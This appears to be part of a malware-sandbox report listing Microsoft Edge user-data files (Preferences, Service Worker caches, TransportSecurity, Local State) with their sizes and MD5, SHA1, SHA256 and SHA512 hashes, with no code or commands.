103d9fb2b01dcb564bbe7eaf4d7dffaed8aabfa8f74e71b3ed8d7b839655a6e98b1a05dd8a9cede1b60d13bb115dd31569f37461c280af76cedb3604422463a7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
18KB

MD5
96aa7211ee248d1b30384f80153e4920

SHA1
726d3f6169c5f4677de8cf05e99c8fecdb8b5f29

SHA256
28248dd56eb50ac3e16b4efe536efa3859379ee98aa2d2ebe03cd9a16ae80fea

SHA512
c1e93acf1f9a6ef659f7c1126d74f2fc8abb7a9aa4be880b7a21827ccc8b3d405061530b8277a8f393646c7e9eba229f7e44cc62664112160ff259b3d6b52779

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
18KB

MD5
3c0775e5e98e79326f79e34ee8ac4170

SHA1
4a2d2b999155c0fb5928bfce81aedf10bf61826e

SHA256
94d7178107e3b6f8e8a59829739cc27d9966750901712385e43bd62baab09156

SHA512
e10d03763e48207c48ed49599fcc60371e5602e797640b273b4bc2a985f540c00607e2664a85374288770c817a0d7377d95ed9e9ddf36d5fdc7a3eda5f37ba77

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences

Filesize
24KB

MD5
2cad20898338fbc7fb993756151e2fe1

SHA1
740566d988a46b18920bbb42ff71eb145a931aee

SHA256
4c2f60eb2a2e891ea30a7eed7813758fb7d3200f5938e7012a22233b26b9dfa6

SHA512
e1a82109629e89a57d803f1bf0433c07d01a1fcc9db30ca81eff4a415bb4f36dd772bc05272538fc0db97a20f7475f172164fbe3142d507088770a53ec1a0796

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences

Filesize
24KB

MD5
d8c86e7d523ce692226bc2731ee03459

SHA1
a63bb7eba70e607d9557d5f59caf383b5a66161e

SHA256
9c2edac30eb6825a955114fcb679842a742cbba2a06413d3976047c8f1250261

SHA512
e2342039ba773cb0121540b8eb2e2b421db155384c7e48d4e40267f95759120782a905cfcdfc96931f1908f24d0d7eb5179e15e121592c3efd3e812998019f3c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\1a89e9f0-e49e-4d9a-86a7-93e188c5b022\1f7a08aeab75c5d0_0

Filesize
2KB

MD5
a2e12a589d46d7493697570caae717d7

SHA1
f2bb664fe01ca7d27ab78a0598e4a99dc34ac661

SHA256
e0ccf5c3eda5d2e6e5086ec0654b794de86c9f486374f4dedab993332155da66

SHA512
dbc3d7429c9e1de9ffdba7a35c70eb26b0ec3b7efab1b16aff90c7d8b1d6889b44b066643178bdbae6dbf0d53c62498fc1cea599617c5c3aa27120842d2fb616

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\1a89e9f0-e49e-4d9a-86a7-93e188c5b022\index-dir\the-real-index

Filesize
624B

MD5
37d4db518de9221b3b1684e28aa3f5af

SHA1
f4466e76ab2f6ea0cde2cc02b13a364374c2f44d

SHA256
b7d85b23778e69e925e77d56df75b36d2ca79470bc71c62afbab4fe2a3eb3673

SHA512
c7fd7f1481a4d7946102c9b5df9ec288f981ca3f6c76e01a799d80220b992844829b5447d4da24bc381f1bd242f34af756aeb297153c4c2b5c2571e8df759a40

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\1a89e9f0-e49e-4d9a-86a7-93e188c5b022\index-dir\the-real-index~RFe63b3f4.TMP

Filesize
48B

MD5
3c63b8daefafb7793912d5c7cdd4ccc0

SHA1
42451348b5b6228033ecd61ad2bacdbda87ad6dc

SHA256
1cd67570a8da2bc8cd78ab8dc886b534d7a6d51b76efff0eea84e149f7951ba4

SHA512
21b67a5609267e3e7996c0b51e35fcd212dd386b2f114d2d483e5c697aa13e7523c8d0f14b0a9f655a659e23ed202e60ed40911ed7c360e5da4bf2fb76a0b8a1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\39b188f5-911e-40d3-860a-ff66345fa723\index

Filesize
24B

MD5
54cb446f628b2ea4a5bce5769910512e

SHA1
c27ca848427fe87f5cf4d0e0e3cd57151b0d820d

SHA256
fbcfe23a2ecb82b7100c50811691dde0a33aa3da8d176be9882a9db485dc0f2d

SHA512
8f6ed2e91aed9bd415789b1dbe591e7eab29f3f1b48fdfa5e864d7bf4ae554acc5d82b4097a770dabc228523253623e4296c5023cf48252e1b94382c43123cb0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\85b54baf-ee7d-416d-8f4d-fc8760837690\index-dir\the-real-index

Filesize
2KB

MD5
6cc9f982ad16e4cacd9f086e13e6ffcc

SHA1
4cf9c8a0d2f71fabcf29581edd4e7b8b7cb2f362

SHA256
05a4961acd89984eb68ae3576bad6d42bd34a16fb43049b5cc3a04016bd85f50

SHA512
a12fc4dbd0dd10aa53c4491df50b856c6e5ee8d3324e97982ecc0cb04dfeb8f12ae95251b17f832d3ab0de7ad953dd41c704d73ac95708ae8dd5835f6d6a8a03

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\85b54baf-ee7d-416d-8f4d-fc8760837690\index-dir\the-real-index

Filesize
2KB

MD5
7f1868c2ec9711d5ec10346af4dd728c

SHA1
7e0b58019c58862793cac87679a29508385ff4fa

SHA256
6cf81d57606c6fe42c9e8a39a5558cd18fea9b363021b9152caba4b68c5e349c

SHA512
933369022bccc1c5a153b9914844d152cbb7eb3f62b3e699bf07891ef339f0184826712d5bce5b0f21e4cf00e291bc6a1f5295c6906fb6af9c97ac9722c30529

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\85b54baf-ee7d-416d-8f4d-fc8760837690\index-dir\the-real-index~RFe6341d1.TMP

Filesize
48B

MD5
c3a53396cba557e10a0b318ee49b22f4

SHA1
a48681d3a363e0c39d46f3f5ac2641fe34547734

SHA256
6a1f5d8412e3950d16a6cc34e86f81a25d313fd5c95240fd4f83b3cffbf10e8f

SHA512
1bb7b6d4c8ef5d3e6fc0458a8c5ef2f5b1c85bbea2d6274b5695bf342979a4734b0cc20dc1e52eebe2a3750bdb8af3b59a1be2ee68b27fba61b48788468e35a4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt

Filesize
148B

MD5
827e2c21338b069242a1632f9c99a604

SHA1
d5a36cb7be1e826849abcc6ddf7878bc58f428a1

SHA256
97e7609e05b00b901364f1ef0d300de47b61decb8f932206641c63d3276ee4bc

SHA512
fae5ecc7dc710f85249cc866dfdbf062e965ca5280220c2e1875bd9fc89118d7ba15d6ae25082f7c050ddcefaafae12358530f773d4ccbb018c6d41e851c3b2d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt

Filesize
157B

MD5
e42c9dd83580d421cfdf1bed6db24c71

SHA1
8fa89fe2c0e0d79ba98a0fc8bdb012e170112e66

SHA256
c0067fca29387da7ed469c328755050e3d7ed3158b97789debc15dc8122089da

SHA512
96ab06050230fcf6dd9aaa849fde2f72fb332eb44fa3cf52845f65fe94432a364298c46514969a73d115f2fa3fab4d6c526c09cde2876403656486d508201818

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt

Filesize
148B

MD5
d587e357d254b60a1ce6dcfb4c35f1f3

SHA1
a4082033a509ba9eaeea26be7357d548a9f3916b

SHA256
46732c0832799899b0895cd606a16e47f2b3dac96483837fa7e7aef30a43b817

SHA512
b9f5304f7d27556bec998a8a5038cf5302968335a178413ad6b4131e437212acbd7caa72d06381fc09a761d87ce568c27c15142e83ff474392b8d7211e1b2839

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt

Filesize
146B

MD5
536fe7708b138a6bb58701a1d3f8e805

SHA1
abcf76ebef14ad9aca55c8991f33e150592995a4

SHA256
55aa0ecbc99b380d7e10bf080762f4183e301aabda8e4b7e968ac61c8fea7ff4

SHA512
9c7ad37b0515d1cda0b7a4483e143a239f7775842e031fbb67c16068be3de5800207a1c62e3a343c70ba64b189afb224c7ca6abb9a1ea994ecd0fbab8711a293

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt

Filesize
82B

MD5
58d1306816d826a15ffc257abcfda6d7

SHA1
2a25793a9fae02bafda59c503a8f95165efe1aba

SHA256
df26c5cde7a45e0562817f59e92b1c6d725c69eb0b0a65dfa6802b4f87102ea4

SHA512
651173e1a1f2861471056b63e6703555b79b4a5429fef4644606bee5e43292969daff7f177c224021b35f58b8d040e6dc57e0e6780fe13012ca0565f8f4a8afa

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt

Filesize
84B

MD5
6f406dadbff62c09b0b9944e272e5c34

SHA1
de5461a334644bc40cbd40850888907c7e029453

SHA256
004963d1c84e0523eff3f2a4634a6e21c9d39fa08c0a37f9b3f8f6190db06535

SHA512
c95047974da48fa969606850ac0a8bb6a1cc96b6ebf398ab8cfb2ad22f489de2c1388fd7c7c06034fc24ea47b8b0f19de89078f419e64eef100098082ac48ac4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt

Filesize
153B

MD5
b05207bce10e7035115dc55e8f0743ba

SHA1
2f203733ac896526ccb88fdda3339c642486e30c

SHA256
be9ac4afb3c46cad038284270efa60cecae9363b66c9dd5ae1ee574f790351d4

SHA512
a1e3737e563b10b3d586c89122c3d7bd83a41de001329c23d591a2b0704a07beb87cdd5e412572335fce1479c15b6aa98338841b495f41f55799c812c8014909

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt

Filesize
89B

MD5
b990393a3de01e858a7a1e31ba01e2d3

SHA1
67d4cdc6fa617a4921a9d4e4988ff9163c65b9c3

SHA256
dbceecc98b82620dbbbee784fd73c6c381cc38ede9810cb1f023854e7367c545

SHA512
e496ae5302648a018a14a2bd415377532f7403adda69dfb9196f3395367caa21fef4ff8eb09d897e1873dfb501c2e0f53871b7b59c1bae5457a3da5262a9b4ae

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index

Filesize
120B

MD5
7f7b8a3ecd699b5d7aa79b50485aa46b

SHA1
23538a9d9113e64b07a1d838ac57b9a9b078f96b

SHA256
a909b0fd5f65dd4eaecb4e10c3d8be6ba1046e8d311ae34e01a0fcc068791514

SHA512
997e44a522d4e401449a3e61bbb9456fd59b271a9b00370b3e589f0c4870312277ddcda6f9417ab1c3f9e2a546fb160270340d8ff49f03b98b70de2b7062fddb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index

Filesize
96B

MD5
4a5098a04d203f6e5cfecb4f88258f46

SHA1
f6b6aa45f4144bbdc1bc4f69742550285daf2d2b

SHA256
f57df51addab274b6888a90661166a1699fa6edeb7d6c6da1d4890340bf89c95

SHA512
cf543d56bc22439e4ec53121b201a55d738f6a93212fdc1b0f064c870b3f4df0509fbaf271b49f21582cf0a9be131b3ec0e6b8eea54478513c785e1ae9f03a19

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe63b403.TMP

Filesize
48B

MD5
b823a513cda7d406f1411675f0f6915c

SHA1
97b212614e205511e8ead732d701b6d2740cf573

SHA256
2dfb84026524419af74163d1fbc4c36562d7a63440a60db313621ff2c944f70d

SHA512
1581aefee05799f6c28e42dab142474f2b48d24d49131c97d7d319c926111ede77e6f395dfd30f0ccb361b3eab90d872446b7d358c34de1f57e704221c252823

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
6KB

MD5
46853632e188390fe99fd3fb3f657f73

SHA1
1a4a6eb470bd24a76f6fdc65da4c4117f372b62b

SHA256
302036e3c1c695a349b7c5cbbc24c0dde1dfb14071d56dcad142c409cd116565

SHA512
cee1aeeccd4289aee812d18c4261901b94cedbfc4411d5266dd19f9bde98c10c4a2c130bdcf18af5d7881a3e4a3c1165f424fe017b6802c7aa89aadf1802fe87

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
7KB

MD5
e95618b7af57874f4736899676f3e0b3

SHA1
36950023224876192efd10afbe79d3b6e80c08e8

SHA256
ef8424e730323b7eac8520f012f84fdf969e9b490b8c4d0d84d940d1c50a9cfd

SHA512
2bd9a61235c9829ec3993b99f8e75ad03aaa74aa8a8aa3985473173265175d7c2e105e97d086b15249d1d210b33f6a0255ec939433b6ea9864a7f912e501241e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
12KB

MD5
30e551f886ad71e0678f71f81585b638

SHA1
8e6cb2826758a5dfad6308ab06c73d4c51260fd7

SHA256
4460fdc613bfecc4c495909dd5f315c34e3b6bd538161a51d611f3b920d296ba

SHA512
0ba8c46fb4ee4054f2e794326e11196af681406b9a7777b88392f318de1034a2d586948ceed7d81e1d16a906ba9eb60710da59674c006e62546f0cbfac9b15fc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
12KB

MD5
e908d3b58db11522dc35fd27c5f3e21f

SHA1
363d36ab7f8f12bd26b7865e40c795763bb42917

SHA256
29afdecaa819ed0742eed47bb9845a7343e8529e9d00aad01a9ab5db6430dc2d

SHA512
ab7567e093df49a26dc3728d53b24ee0535e2ba5074c2098ae1e5e48cbdc71bcf08fb54d84101fe1f006de4acf7222f83041c016e759b1b5252489600da3f9c5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
9KB

MD5
9a4b8aebdfe4dcbd258cef522a5429b2

SHA1
1ff223140e1571bff1d4a4b6d8811f4671cce064

SHA256
47a384ea2103a2b67d052012fbdd896895698f500fcfd67a84a443f9caa3778a

SHA512
3f4a215c6046e02b4424c28dc53aea8c645efa2f88fade8f96bc39f0a1e65ddb00877c9e9f47042423d0750386ac52559c97d45d262c93328d30880b44070e7b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
12KB

MD5
e1eb5e2f70770575d8df06f447072235

SHA1
e72b30118eb66a9d604d09b741b990cfd441ba2d

SHA256
f8ded800092ef7cd9a81734fa7419aedcca15d41a4bb6857be0327d23a1d9d7a

SHA512
1ae004395668bd97ed62dc286970d0aee0b0acd8bc7a832fcf96d139dd0c25b32bf2abc3a982e9decf5eed9332744632fb010dccb8fb48ad7e259bdabd1185b1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
12KB

MD5
2b739a505e7e4ec675a4cd637435a570

SHA1
77fd9d2b40e903c00bd3ddc58553c214d1ee6514

SHA256
ca5d570e633231fe607a69eb78a054bf264a36fc3d14e0653c4036132d607f9c

SHA512
eb036c9336079fc8652abc1fbc412a0df9c09fca86972b519f160e1495bd2684ac224db485b7eba201d4a41a0ca8ef4eb7af9b53a904a72a54d2f1d5348d6393

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
12KB

MD5
a0d5159e1a26e6876e05ce0f18050244

SHA1
880e18fe80022e4c9d004b16ec8e4e5a75d23eb1

SHA256
f0a6e426cd8c90eb832026261cfe898ae9079b891545a6e60ae0068e93177448

SHA512
2d69eb8c970058631787f9e01d3794924d869f03bc85c06693d2bfbe89cc0657e0c761a66337c1c6efcc98d2d1bf82985eb2fc956a973dac24700ec7f078e9eb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
8KB

MD5
d7ae3dbfafc244aff3dc9b6c7db3feba

SHA1
dc07f500d907a3215f97349f3907f2069c16e72d

SHA256
7423e83b5e48131b430e90c45104358fc2d7e615a01f96509545414ffd316cf7

SHA512
292098be5b267c0f76fdfb8799a1623ab9717e16aa725bdfe8a7c1b1a66bcfae68529397a51651fa5be3963e1fa2c1f2da9b06355c407d4891b54ac3e1d98919

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
7KB

MD5
dd2ac58c5faeb9622425f3c4c0773775

SHA1
95c17f3bc8b4397fc9dda43bd04fedf8e2a5f682

SHA256
f72bf3f4150a869680eaa81ae817ed7abb72d17a8ece9a6c88e2229836314e50

SHA512
c9c613fef0e6185de72544f8bca55af967335a3ef5e9a9b5144dae1eb8f37ca710f8bb5857904ff665776ac5c27c36a98a245ace97bf3dfca647018113d58f2d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
6KB

MD5
27ec7438ad47169486668edcd87e4243

SHA1
8e996574df3945e2736f4403fc258fb5eacc8187

SHA256
42504a1d69ecc15bc13f71803a7d4c1224611431da85da97a90abf8ca9953cfa

SHA512
e62c0c8308ece7d5121c8792fcc95df91c8d23d5e0c273d3ec45a058bd19847909b80f316f4edd3ea7e5a6754466a47078d32476050337da934f66bdfcb8f6d5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
4KB

MD5
b3dc6bc96b38cf2d9d2dbc92a10ac72d

SHA1
34a8f9d8b4e9ba41098b6d96b6ce3205cd7a5dd5

SHA256
f53dd8f0318ce12322a7e2442af0b99b0d9a23d79ab59901489442ccb15918c9

SHA512
1da45ec7fba376f01c63dae849e98646401452416d5f529b93cab140ced8bb9b4eb2d606d9d98b2dcebca08e27bacec815ccbf825c940fe03a8b7a88a6b00326

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
3KB

MD5
3c2d76ddaca9fa26ed780701a2c1124b

SHA1
3981e994b0138ffc36592a245bd7007f4bf6deef

SHA256
4e7014bfde9e1f29933fbdf0f29d3c32c9a0e6112460cdda7769d4b7882bc7f8

SHA512
9f0f05e532d344a57d50a3a37e3c2573ee4913d9b665a439f316b9f57a78d730e914f7f9b7d0a60c2a99ebea045980d7e49e8a97f7cccf850fb9e7db81fc26d5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
3KB

MD5
be9b84faed762490c49e4f88b5a530ba

SHA1
b3758a7112a3ecc0ac2d26f72b839f373c04d1ea

SHA256
841426c4d201bfd26201ec9d4cce2c9aa574010ed7aa448cb74ac77fa413363b

SHA512
ecb45d4b2a76194c0567156ca093d67a11546ca89a7280227704615ef00c1580a8929507d617c6d61bced07fbd64acc34f8b8f4fcaf48b65037304bc82b19aa0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
7b78deda9485325811a45d55b6bc551c

SHA1
460bee7a794fcbd2764af8a11e9b395397c5dde2

SHA256
7878b74cc4c4670e4f32c5575f809f4e780980ad23799781f7dc4a2affb1d43c

SHA512
8895f717b1e7f699a66b72adfaad0fb43d14cd54a09a33e63eeda36898c4d68b98a404623a9ea1bf6620ddb4a172e4b173aaaef5b7f60f7bb3c3db9e377f9a74

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
2KB

MD5
ea6e6ad115a97d37adc80adead9e0ed0

SHA1
a9c4e879f99cecb79d77cc8e10d0653b6e17f31e

SHA256
89cd0a6e165d8f3a3e8ac23ed84a4fc7e1f747b435178c13c5503d9bc9fa6d1c

SHA512
d91b115e9a68230ad8c427fbaad018b7c5afbcb0f1f448733c752aa2f152e53eb87d0bf74888ff02855b5fd5b6593f014540023af5f8110105926ee269c018cb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
3KB

MD5
6b4ea04a0b12a514862132fc8047eec4

SHA1
a51263d05d47008ea1d392e79c6e828b23721078

SHA256
2384821509b643eceecbb69f53444036733e334c3014ab8b94f580c432456e06

SHA512
dd8669d2498813a19af05ed40501926bba7b69afa1e7bcf6a60f2ee3b795314ff756c3afb4e5923ab0f47bf8068ed89dfe287bb9ae15c9bfa45a60b28b888eaf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
3KB

MD5
2e8b27527377bd3397b0a0f08d84e49e

SHA1
6284088bbb939d2666e3e1a4fcb7f3c661b6d4a2

SHA256
5e8d9965d973d9e352c0a41dd839565a10d12a8579ec02eab2bdea844af24621

SHA512
8e0ee50927b8c92a80c28152e0d9f0d7f3d5598b057b955c804e93ddcdc5267be77b37c73c7a885e9c4de7c877e4ac1cdab7cc991d6a2a9995ccadd7a8a15f29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
87a5d3970e3d38ec4be2e064cd015b44

SHA1
e52a9693dbfdd77a7464befa88ac5efd1834a469

SHA256
42928ff2bd5cce98ccd5d403fb957b48f9a6c9e122b42cd3bb55787db5cdbdd5

SHA512
d1c6f716a56a088a21ed8e9d7b570e6b8c93b945878d669a8106ae765cb353d741f6f5c4a6a2b4a9e1e9d559f884420b85379c0d4f8579ad0517ec4bcf4897d3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
19bfda5695650864bd5674fb695ff574

SHA1
b4f2819fcc2a214762df46dfad3a628d348bc9f6

SHA256
2dec7c15fe5410eeba2ffe5b7bfef6fdb6779b87d7b2da370f6d7ee9d658aaa8

SHA512
ece0f57d7eba3cca33fb2c753cdbc9a34bec4da6c011f1583f1bd3982cd08ed239226859ecf9bbf6229dce1e9b8e31ff2f672550c4ad0a307422e7500bd6d694

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
7KB

MD5
31ace6fd84d678ea0c270c75f6968648

SHA1
005896125e3b9c7c129683013f35264e44996dd9

SHA256
7697a8f7f07efaba82505639fc2f0252dc6ad260b68b6378b756356d13e21704

SHA512
74bb1a1616cebdfa626394ce487bc522d82d7ebc3c16256706d110341c8fcd0136e0c4317deb8558746362974a45a4a1197e58eba4e785c04cdf1882f7c618de

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
7KB

MD5
9cad552dbf778695716b68e1d3221b74

SHA1
eadc26e70b87c1c9fe98e85bb8441e48b535ab81

SHA256
e386e3f3745d2f0cd24eb829e12e285d712555ba4e44f3a36b3d7afc8cb952ba

SHA512
5e2e8f0e63121e9c26b3c9e21299ccd30678a81f5e3c17212daf705df9cf690ff42ebf3605375c11abd39c99e59abdf9a46df895d3c06d1cc831c287bfb26486

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
cca7d2029e0f09faeea688ad7a5c96bb

SHA1
d4c027fa3d175fc7f1819a3ce9134fc6e84e4e92

SHA256
c5a5c3fe0b63d0e9ae6181ed2fd6a0f5f72459af1864244b0274ef44ea8fd36d

SHA512
d474adba18bda13b203159220b2a8458bf85fe3640b706a079edaf85c0ddc8fdcc1892a7ca6a0a444acc5745d25fa8fad5c26e6a1c012c5bc3994ad551f1c16f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
d563baa0eff14e289a710f0f9c62593a

SHA1
180d434ca95b93fb6f885365aa901fe44c60867b

SHA256
b9ba75c4ece32a17a31664f1e023d2fd52821a43ba630437875c65003247a0c7

SHA512
18852c5d3f3199a64580cdf1716c19f3515461f0e77ee0175a2309c175f2ae6e861976d117a7ffa56c96c24ac03baa8dff6104d43ceec317c238ea7b2a02f924

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe593261.TMP

Filesize
874B

MD5
514c16b0e1c409cad0570f0e6fb1b7af

SHA1
c49ef96d9756eee6e37fe5306e536596b2ffe11b

SHA256
f51224abfe507b6508835fdd7d1d837bf5ac92e20fea757c5b43a183c3d1057d

SHA512
51f8947fb2c84aad22071c672a293edebc655da851bcf68de389ceedb6b97c4c10c590ffc0f8ace85334b8cd461270930edd4174bdd761b3780350c11ac550e0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
206702161f94c5cd39fadd03f4014d98

SHA1
bd8bfc144fb5326d21bd1531523d9fb50e1b600a

SHA256
1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

SHA512
0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
aefd77f47fb84fae5ea194496b44c67a

SHA1
dcfbb6a5b8d05662c4858664f81693bb7f803b82

SHA256
4166bf17b2da789b0d0cc5c74203041d98005f5d4ef88c27e8281e00148cd611

SHA512
b733d502138821948267a8b27401d7c0751e590e1298fda1428e663ccd02f55d0d2446ff4bc265bdcdc61f952d13c01524a5341bc86afc3c2cde1d8589b2e1c3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
589c49f8a8e18ec6998a7a30b4958ebc

SHA1
cd4e0e2a5cb1fd5099ff88daf4f48bdba566332e

SHA256
26d067dbb5e448b16f93a1bb22a2541beb7134b1b3e39903346d10b96022b6b8

SHA512
e73566a037838d1f7db7e9b728eba07db08e079de471baca7c8f863c7af7beb36221e9ff77e0a898ce86d4ef4c36f83fb3af9c35e342061b7a5442ca3b9024d2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
12KB

MD5
513f63a22479668a16970359004bcb28

SHA1
4194bcbf9fd21e141a24bf971b0c7b3e5ed109a0

SHA256
8b97ff9ac68d4e9533223abcdd8957e903f507a43ea41963d8d14796c112a53b

SHA512
989837e58de2c791f6860b8cb43fff1430b5bd301d70f807f1ef3b38b354cb3de4bf7fa68903ce9920af627b31c843494a31257ce1553df965988f7e0ee5bca5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
b0b6a3d10414c6c712d09bbd6343b51a

SHA1
f30c5c7defc45eadce645aa73ec165fb3037d434

SHA256
5bcc846e0c0d7f409d74a49e81f95eeb39a3625c1c96aa961f4c4b108b7de956

SHA512
a7eafe94c129ecd9a6339ee37d2ff5b95daf7bede94df64f220e1b6280c72c989ed994ce3228ed93e1f44ec17b82981dd7b3f5ae611de147b01a861030481f68

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
12KB

MD5
c24677449312d3d0069946b6ab5e4769

SHA1
4d321760848c2b3b91c846e845ed32e89e8f2439

SHA256
b47b6dd5bcfadf0f97cc8581393b865ee7e5af1f62cd69553a227a10b9ccc586

SHA512
32740c9d7aafb6876de7b168e8d43498115b3928042dce21d779af36d4795e31baebc6cbe99865bd107b7b4a70a6fe9f4d9dcea5a950759b9f7a6b5155d0a4a7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
12KB

MD5
10f42628b2f2b1af34081723df800da2

SHA1
cd46f26e1aeaaea7fa88bf59d4da44373ed372c0

SHA256
83de9ea4c3cd96eeb7da11885f002000dbaea6a9e37f9f72bd6e01cc5edfcd63

SHA512
34c7d50d3ff2b7a93acfe19245373c2d36851e605a20bd8da09f939ff456e86307d0325efdda83978c58a753a777bcd976096872fb7ac5602a563c8f2109771c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
12KB

MD5
8c45ba45dcad1afb1ee2a815912bd096

